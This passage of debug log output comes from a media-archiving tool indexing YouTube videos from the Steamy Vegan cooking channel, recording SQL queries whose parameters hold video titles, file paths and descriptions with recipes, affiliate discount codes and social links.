"https://www.youtube.com/watch?v=-EHQsPIc4Po", "/downloads/downloads/alec/Steamy Vegan/2025-10-07 High protein sheet pan meal prep! My go-to healthy dinner 🌱/High protein sheet pan meal prep! My go-to healthy dinner 🌱 [-EHQsPIc4Po].NA", false, ~U[2025-10-07 00:00:00Z]] 20:31:06.510 [debug] QUERY OK source="sources" db=1.0ms idle=13.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.513 [debug] QUERY OK source="media_items" db=2.5ms idle=12.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-04 00:00:00Z], 1] 20:31:06.515 [debug] QUERY OK source="media_items" db=1.8ms idle=13.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis curried butternut squash soup pairs perfectly with a piece of toast or some naan bread and provides 6 servings for a week of meals. It's the perfect vegan and gluten-free recipe to add to your next meal prep as it works so well with stir frys, harvest bowls, and other vegan mains you might make in a week. \n\nGet the full recipe for Curried Butternut Squash Soup on my blog! ➡️ https://steamyvegan.com/curried-butte...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n5. Chickpea Noodle Soup: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Soup\u00A0Recipes\u00A0You'll\u00A0Be\u00A0Loving\u00A0All\u00A0F...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "The Butternut Squash Soup You NEED to Make This Fall 🍂🍁", "05f5cfe9-b019-4be2-a176-7c4f49600ddf", 1, [], false, "39vd1yovz7M", "https://www.youtube.com/watch?v=39vd1yovz7M", 52, "/downloads/downloads/alec/Steamy Vegan/2025-10-04 The Butternut Squash Soup You NEED to Make This Fall 🍂🍁/The Butternut Squash Soup You NEED to Make This Fall 🍂🍁 [39vd1yovz7M].NA", false, false, false, 1, ~U[2025-10-04 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis curried butternut squash soup pairs perfectly with a piece of toast or some naan bread and provides 6 servings for a week of meals. It's the perfect vegan and gluten-free recipe to add to your next meal prep as it works so well with stir frys, harvest bowls, and other vegan mains you might make in a week. \n\nGet the full recipe for Curried Butternut Squash Soup on my blog! ➡️ https://steamyvegan.com/curried-butte...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n5. Chickpea Noodle Soup: \u00A0\u00A0\u00A0•\u00A02\u00A0Cozy\u00A0Soup\u00A0Recipes\u00A0You'll\u00A0Be\u00A0Loving\u00A0All\u00A0F...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "The Butternut Squash Soup You NEED to Make This Fall 🍂🍁", 1, nil, false, "39vd1yovz7M", "https://www.youtube.com/watch?v=39vd1yovz7M", "/downloads/downloads/alec/Steamy Vegan/2025-10-04 The Butternut Squash Soup You NEED to Make This Fall 🍂🍁/The Butternut Squash Soup You NEED to Make This Fall 🍂🍁 [39vd1yovz7M].NA", false, ~U[2025-10-04 00:00:00Z]] 20:31:06.516 [debug] QUERY OK source="sources" db=1.0ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.519 [debug] QUERY OK source="media_items" db=2.4ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-01 00:00:00Z], 1] 20:31:06.522 [debug] QUERY OK source="media_items" db=1.8ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese 2 healthy soup recipes will warm your soul this fall! 🍁 They're vegan, can be made gluten-free, are low calorie high protein. I'll be adding both of these soup recipes to my weekly meal prep this year and I hope you do too!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMexican Black Bean Soup ➡️ https://steamyvegan.com/mexican-black...\nChickpea Noodle Soup ➡️ https://steamyvegan.com/chickpea-nood...\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Cozy Soup Recipes You'll Be Loving All Fall 🍁🥣 (high-protein, high fibre)", "104b98fa-72c7-4fa9-9308-cb930b63d808", 1, [], false, "sHrWCx44G_w", "https://www.youtube.com/watch?v=sHrWCx44G_w", 53, "/downloads/downloads/alec/Steamy Vegan/2025-10-01 2 Cozy Soup Recipes You'll Be Loving All Fall 🍁🥣 (high-protein, high fibre)/2 Cozy Soup Recipes You'll Be Loving All Fall 🍁🥣 (high-protein, high fibre) [sHrWCx44G_w].NA", false, false, false, 1, ~U[2025-10-01 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThese 2 healthy soup recipes will warm your soul this fall! 🍁 They're vegan, can be made gluten-free, are low calorie high protein. I'll be adding both of these soup recipes to my weekly meal prep this year and I hope you do too!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMexican Black Bean Soup ➡️ https://steamyvegan.com/mexican-black...\nChickpea Noodle Soup ➡️ https://steamyvegan.com/chickpea-nood...\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Cozy Soup Recipes You'll Be Loving All Fall 🍁🥣 (high-protein, high fibre)", 1, nil, false, "sHrWCx44G_w", "https://www.youtube.com/watch?v=sHrWCx44G_w", "/downloads/downloads/alec/Steamy Vegan/2025-10-01 2 Cozy Soup Recipes You'll Be Loving All Fall 🍁🥣 (high-protein, high fibre)/2 Cozy Soup Recipes You'll Be Loving All Fall 🍁🥣 (high-protein, high fibre) [sHrWCx44G_w].NA", false, ~U[2025-10-01 00:00:00Z]] 20:31:06.524 [debug] QUERY OK source="sources" db=1.6ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.526 [debug] QUERY OK source="media_items" db=2.1ms idle=9.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-27 00:00:00Z], 1] 20:31:06.561 [debug] QUERY OK source="media_items" db=33.5ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nIn this realistic 'what I eat in a day' video I'm showing you all the high-protein vegan meals I enjoyed, plus some of my go-to high-protein snacks and my fav pumpkin spice latte recipe!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMy Pumpkin Spice Latte recipe ☕️\n1 shot espresso OR ⅓ cup very strong coffee OR 1 serving mushroom coffee + ¼ cup hot water\n1 cup soy milk\n½ tsp pumpkin pie spice blend\n1 tbsp maple syrup\n\n1. Heat the milk in a heat safe cup in the microwave for 90 seconds, or in a pot on the stove until steaming hot\n2. Pour your hot espresso/coffee/mushroom coffee in your mug plus the pumpkin pie spice and stir in the maple syrup\n3. Froth the milk using a milk frother and pour into the mug, then gentle stir. Sip sip hooray!\n\nProducts featured in today's video:\nSPROUT LIVING PLANT-BASED PROTEIN POWDER (collagen boosting)\n20% off at Sprout Living | Code: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out my latest 'what I eat in a day' videos:\nDay in the life vlog (hang with me!) Realistic vegan food & surprising my hubby 😍 \u00A0\u00A0\u00A0•\u00A0Day\u00A0in\u00A0the\u00A0life\u00A0vlog\u00A0(hang\u00A0with\u00A0me!)\u00A0Reali...\u00A0\u00A0\nWhat I Eat in a Day 🌱 LAZY vegan meals to hit 100g protein \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0🌱\u00A0LAZY\u00A0vegan\u00A0meals\u00A0to\u00A0...\u00A0\u00A0\nREALISTIC Vegan What I Eat in a Day Vlog 🌱 Easy & high protein vegan meals \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0Vegan\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0Vlog\u00A0🌱...\u00A0\u00A0\n\nCHECK ME OUT OVER HERE TOO!\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 OTHER PRODUCTS I LOVE USING💚\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFree Music for Videos 👉 Music by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9", "REALISTIC high protein vegan meals! 🌱 How I get 100g protein + my pumpkin spice latte recipe 🍁", "9c8e4070-8bc1-4187-81ee-97ab20329193", 1, [], false, "bmsRhp3L2hI", "https://www.youtube.com/watch?v=bmsRhp3L2hI", 54, "/downloads/downloads/alec/Steamy Vegan/2025-09-27 REALISTIC high protein vegan meals! 🌱 How I get 100g protein + my pumpkin spice latte recipe 🍁/REALISTIC high protein vegan meals! 🌱 How I get 100g protein + my pumpkin spice latte recipe 🍁 [bmsRhp3L2hI].NA", false, false, false, 1, ~U[2025-09-27 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nIn this realistic 'what I eat in a day' video I'm showing you all the high-protein vegan meals I enjoyed, plus some of my go-to high-protein snacks and my fav pumpkin spice latte recipe!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMy Pumpkin Spice Latte recipe ☕️\n1 shot espresso OR ⅓ cup very strong coffee OR 1 serving mushroom coffee + ¼ cup hot water\n1 cup soy milk\n½ tsp pumpkin pie spice blend\n1 tbsp maple syrup\n\n1. Heat the milk in a heat safe cup in the microwave for 90 seconds, or in a pot on the stove until steaming hot\n2. Pour your hot espresso/coffee/mushroom coffee in your mug plus the pumpkin pie spice and stir in the maple syrup\n3. Froth the milk using a milk frother and pour into the mug, then gentle stir. Sip sip hooray!\n\nProducts featured in today's video:\nSPROUT LIVING PLANT-BASED PROTEIN POWDER (collagen boosting)\n20% off at Sprout Living | Code: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out my latest 'what I eat in a day' videos:\nDay in the life vlog (hang with me!) Realistic vegan food & surprising my hubby 😍 \u00A0\u00A0\u00A0•\u00A0Day\u00A0in\u00A0the\u00A0life\u00A0vlog\u00A0(hang\u00A0with\u00A0me!)\u00A0Reali...\u00A0\u00A0\nWhat I Eat in a Day 🌱 LAZY vegan meals to hit 100g protein \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0🌱\u00A0LAZY\u00A0vegan\u00A0meals\u00A0to\u00A0...\u00A0\u00A0\nREALISTIC Vegan What I Eat in a Day Vlog 🌱 Easy & high protein vegan meals \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0Vegan\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0Vlog\u00A0🌱...\u00A0\u00A0\n\nCHECK ME OUT OVER HERE TOO!\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 OTHER PRODUCTS I LOVE USING💚\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nFree Music for Videos 👉 Music by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9", "REALISTIC high protein vegan meals! 🌱 How I get 100g protein + my pumpkin spice latte recipe 🍁", 1, nil, false, "bmsRhp3L2hI", "https://www.youtube.com/watch?v=bmsRhp3L2hI", "/downloads/downloads/alec/Steamy Vegan/2025-09-27 REALISTIC high protein vegan meals! 🌱 How I get 100g protein + my pumpkin spice latte recipe 🍁/REALISTIC high protein vegan meals! 🌱 How I get 100g protein + my pumpkin spice latte recipe 🍁 [bmsRhp3L2hI].NA", false, ~U[2025-09-27 00:00:00Z]] 20:31:06.563 [debug] QUERY OK source="sources" db=0.8ms idle=42.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.566 [debug] QUERY OK source="media_items" db=2.7ms idle=41.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-24 00:00:00Z], 1] 20:31:06.569 [debug] QUERY OK source="media_items" db=3.0ms idle=42.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThis high protein meal prep lasagna soup is not only delicious and healthy, but it's so cheap to make at $1.00 per serving! If you love cheap meal prep, this soup recipe is for you. Perfect vegan meal prep for building lean muscle on a plant-based diet! \n\nGet the full recipe on my blog! ➡️ https://steamyvegan.com/lasagna-soup/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nAdding up the ingredient costs (USD):\nPasta sauce: ~$2.50\nLasagna noodles: ~$0.44\nRed lentils: ~$0.90\nNutritional yeast: ~$0.50\nOnion: ~$0.60\nGarlic: ~$0.20\nTotal ≈ $5.14\n\nCost per serving\nSince the batch serves 5, the cost per serving would be:\n$5.14 / 5 servings = $1.03 per serving\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Meal Prep Lasagna Soup That's Just $1 Per Serving", "8f44ccc4-0130-4b11-b572-636e7e907820", 1, [], false, "0MEjwOQYvj4", "https://www.youtube.com/watch?v=0MEjwOQYvj4", 55, "/downloads/downloads/alec/Steamy Vegan/2025-09-24 Meal Prep Lasagna Soup That's Just $1 Per Serving/Meal Prep Lasagna Soup That's Just $1 Per Serving [0MEjwOQYvj4].NA", false, false, false, 1, ~U[2025-09-24 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThis high protein meal prep lasagna soup is not only delicious and healthy, but it's so cheap to make at $1.00 per serving! If you love cheap meal prep, this soup recipe is for you. Perfect vegan meal prep for building lean muscle on a plant-based diet! \n\nGet the full recipe on my blog! ➡️ https://steamyvegan.com/lasagna-soup/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nAdding up the ingredient costs (USD):\nPasta sauce: ~$2.50\nLasagna noodles: ~$0.44\nRed lentils: ~$0.90\nNutritional yeast: ~$0.50\nOnion: ~$0.60\nGarlic: ~$0.20\nTotal ≈ $5.14\n\nCost per serving\nSince the batch serves 5, the cost per serving would be:\n$5.14 / 5 servings = $1.03 per serving\n\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n4. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n5. Protein Brownies: \u00A0\u00A0\u00A0•\u00A0Protein\u00A0Brownies\u00A0with\u00A010g\u00A0Protein\u00A0&\u00A0215\u00A0Ca...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Meal Prep Lasagna Soup That's Just $1 Per Serving", 1, nil, false, "0MEjwOQYvj4", "https://www.youtube.com/watch?v=0MEjwOQYvj4", "/downloads/downloads/alec/Steamy Vegan/2025-09-24 Meal Prep 